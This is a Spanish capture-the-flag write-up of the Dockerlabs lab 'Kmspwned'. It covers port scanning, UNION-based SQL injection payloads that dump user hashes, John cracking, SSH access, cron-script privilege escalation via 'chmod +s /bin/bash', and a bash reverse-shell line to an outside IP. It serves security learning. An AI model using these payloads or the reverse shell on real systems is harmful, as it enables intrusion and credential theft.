> For the complete documentation index, see [llms.txt](https://emeges.gitbook.io/emeges/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://emeges.gitbook.io/emeges/dockerlabs/kmspwned.md).
# Kmspwned
## 🖥️ \[Kwmspwn ] — Writeup
### TL;DR
\_💡 Máquina de Dockerlabs, principalmente encontramos SQLI cuando nos creamos usuarios, dándonos unas credenciales para luego conectarse a la máquina victima.\
Una vez dentro encontramos un crontab del usuario Root que podemos modificar dándonos SUID a la bin/bash
### Índice
### 1. Reconocimiento
#### 1.1 Escaneo de puertos
```bash
sudo nmap -sS 10.130.182.58 -p- -Pn -n --min-rate 5000 -oG allPorts
```
* `-sS` envía paquetes SYN para iniciar una conexión TCP, pero no completa el handshake, lo que lo hace más sigiloso y rápido para detectar puertos abiertos.
* `--min-rate 5000` Establece una tasa mínima de envio de 5000 paquetes por segundo , acelerando el escaneo , aunque en un entorno real aumenta la posibilidad de ser detectado.
* `-p-` Hace escaneo a todos los puertos (65535)
* `-Pn` Indica a nmap que no realice ping previo para detectar si el host está activo.
* `-n` Evita la resolución DNS, es decir no intenta traducir las Ips a nombre de dominio , además acelera el escaneo.
* `-oN` Guarda el resultado en formato nmap .
#### 1.2 Enumeración de servicios y versiones
\
Ejecutamos un conjunto de scripts básicos de nmap para detectar las versiones detallada de los servicios a los puertos que están abiertos.
```bash
nmap -sCV -p22,80 -oN targeted 172.17.0.2
```
### 2. Enumeración
#### 2.1 Enumeración web / directorios
Como escaneo principal utilizaremos gobuster, que sirve para realizar **fuzzing** y encontrar archivos, directorios ocultos o subdominios en un servidor web mediante ataques de fuerza bruta con diccionarios.
```bash
gobuster dir -u http://172.17.0.2/ -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -t 64 -b 404,403,401 -x txt,php,html -o dir
```
* -t 64 indica a cuantos hilos hará el ataque
* -b Para que quede mas limpio nuestro output sacando los errores 404,403,401 del fuzzing
* -x que busque archivos txt,php,html
* -o para guardar nuestro output
#### 2.2 Hallazgos relevantes
**2.2.1 XSS Reflejado**
Inspeccionando la web encontramos una funcion que puede tener sinks
> Un "**sink\***" es un lugar donde el código escribe datos en el DOM de forma que puede ejecutar HTML/JS por ejemplo(`innerHTML`, `outerHTML`, `document.write()`, `eval()`)
> `innerHTML` es peligroso porque el navegador **interpreta y ejecuta** cualquier HTML/JS que le metas, a diferencia de `textContent` que lo trata como texto plano.\
> Además no hay ningún `escapeHTML()`, `sanitize()`, `encodeURIComponent()` aplicado a `ext` antes de meterlo en el `innerHTML`. Va crudo.\
> XSS\_REFLECTED.png
***
#### 2.3.0
Encontramos dos logins, de los cuales **admin** no tenemos credenciales, probaremos crear una cuenta y ver que hay dentro\
03\_registro.png
### 3. Explotación / Acceso inicial
#### 3.1 Vector de ataque
Una vez dentro del panel de usuario vemos que tenemos un input probaremos el clasico `'or 1=1-- -` para ver si es posible realizar un SQL Injection
04\_testsqli.png
Las inyecciones SQL se producen cuando los atacantes insertan código SQL malicioso en los campos de entrada de una aplicación web. Si la aplicación no valida adecuadamente la entrada del usuario, la consulta SQL maliciosa se ejecutará en la base de datos, lo que permitirá al atacante obtener información confidencial o incluso controlar la base de datos.
#### Ataque SQL
Como principal comando que lanzamos es ver cuantas columnas tiene la tabla , para que nos de la información correcta,esta parte es prueba y error constante, lo bueno de este laboratorio es que es mas simple porque nos muestra el output de la api.
En mi caso voy a usar CAIDO porque me resulta mas facil , pero tranquilamente pueden usar el browser
Lo que tenemos que hacer en un SQLI es encontrar credenciales dentro de la base de datos, por lo tanto deberiamos:\
descubrir el **nombre de la base de datos** -> **enumerar tablas** -> **enumerar las columnas de las tablas** -> **obtener credenciales**
**1.1 Enumeracion de base de datos**
```sql
'union select 1,schema_name,3 from information_schema.schemata-- - -> servicloud_erp
```
**1.2 enumeracion de tablas**
\
Encontramos dos tablas que nos interesa, en este caso porque es una CTF encontramos *sc\_flags* y *sc\_usuarios*
**obteniendo Flags**
```sql
'union select flag,NULL,NULL from sc_flags -- -
```
*- el NULL sirve para evitar errores por incompatibilidad de tipos: si pones un literal (por ejemplo 'a') en una columna cuyo tipo es numérico puede producir un error. NULL reduce ese riesgo mientras pruebas la correspondencia de columnas.*
Flag: flag{sqli\_t1m3\_blind\_pwn3d}
**1.3 Enumerando columna sc\_usuarios**
```sql
'union select column_name,table_name,table_schema from information_schema.columns where table_name='sc_usuarios' -- -
```
Obtenemos en la columna usuario y password
```sql
'union select group_concat(usuario,0x3a,password),null,null from sc_usuarios-- -
```
el group\_concat nos permite unir las tablas,y además el '*0x3a*' es el valor hexadecimal de `:`
\
`"admin:c378985d629e99a4e86213db0cd5e70d,carlos:7c6a180b36896a0a8c02787eeafb0e4c,ana:b33e0dcc9e2d7a1649d96831260b5698",`
#### Crackeando con John
Ahora tenemos tres credenciales Admin,Carlos y Ana ,y tienen 32 caracteres de longitud la contraseña, asi que parece que es md5, se puede identificar usando `hashid` para asegurarse .
```bash
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt creds
```
```bash
john --format=raw-md5 --show creds
```
***
**Flag 2 :**
Si recuerdan cuando hicimos el fuzzing con gobuster teniamos un **/admin** dentro de la web ,\
14\_flag.png
flag{adm1n\_pan3l\_rce\_0wn3d}15\_flag1.png\
Vemos que también tenemos una consola para ejecutar comandos , pero en este caso no la utilizaré, porque podemos conectarnos mediante **SSH**
#### 3.2 Conexion mediante SSH
```bash
ssh carlos@172.17.0.2
```
#### 3.3 Estabilización de la shell
```bash
export TERM=xterm
```
### 4. Post-explotación
#### 4.1 Enumeración local
En el Directorio de Carlos encontramos dos archivos , notas.txt y user.txt.\
El user.txt encontramos la siguiente flag : flag{l4t3r4l\_mov3m3nt\_ssh\_pwn3d}
```notas.txt
Recordatorio: revisar permisos del script de backup en /opt/backup.sh
```
### 5. Escalada de privilegios
#### 5.1 Vector encontrado
Hacemos una busqueda clasica de SUID
```bash
find / -perm -4000 2>/dev/null
```
Pero no encontramos nada, entonces buscamos que es lo que tiene el archivo de notas que nos muestra un directorio **/opt/backup.sh**
Vemos que tenemos permiso de escritura.
\
Esto es un hallazgo importante a nivel de explotación si tenés permisos de escritura sobre `/opt/backup.sh` (o si el script llama a binarios que vos podés modificar). Es un vector clásico de **escalada de privilegios vía cron**:
Si el script corre como `root` cada minuto, y vos tenés permisos de escritura sobre el archivo (o sobre algún binario/ruta que use sin path absoluto), podés inyectar un payload.
Esto significa que script Backup se va ejecutar cada minuto darle SUID\
Entonces modificamos el script y ponemos lo siguiente
```bash
#!/bin/bash
chmod +s /bin/bash
```
> El privilegio SUID es un permiso especial que puede establecerse en archivos binarios en sistemas Unix/Linux. Con este permiso, el usuario que ejecuta el archivo obtiene los mismos privilegios que el propietario del archivo.\
> Por ejemplo, si un archivo binario tiene el permiso SUID establecido y es propiedad del usuario «root,» cualquier usuario que lo ejecute adquirirá temporalmente los mismos privilegios que «root,» lo que le permitirá realizar acciones que normalmente solo «root» puede hacer y que están restringidas para usuarios normales.
Buscamos en la pagina [GTFOBIN ](https://gtfobins.org/gtfobins/bash/)si hay una posible escalada
#### 5.2 Explotación
### Bonus Track : Escalada con RCE
###
En la seccion de **/admin** Cuando luego de descubrir las credenciales habiamos encontrado una terminal que podiamos ejecutar comandos
15\_flag1 1.png\
Una de las formas de poder conectarnos en el caso de que SSH no este abierto es creando una reverse shell. Los pasos a seguir son los siguientes
En nuestra máquina creamos el script
```bash
bash -c 'bash -i >& /dev/tcp/192.168.1.144/4444 0>&1'
```
Creamos un servidor en python con
```bash
python3 -m http.server
```
\
*nota : hay que acordarse una vez descargado en la maquina victima darle permiso de ejecución porque sino no funcionará*
```bash
chmod +x rev.sh
```
**Sanitizacion de la TTY**
```bash
script /dev/null -c bash
CTRL+Z
stty raw -echo; fg
RESET XTERM
export TERM=xterm
export SHELL=bash
stty rows XX columns YY
```
***
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://emeges.gitbook.io/emeges/dockerlabs/kmspwned.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.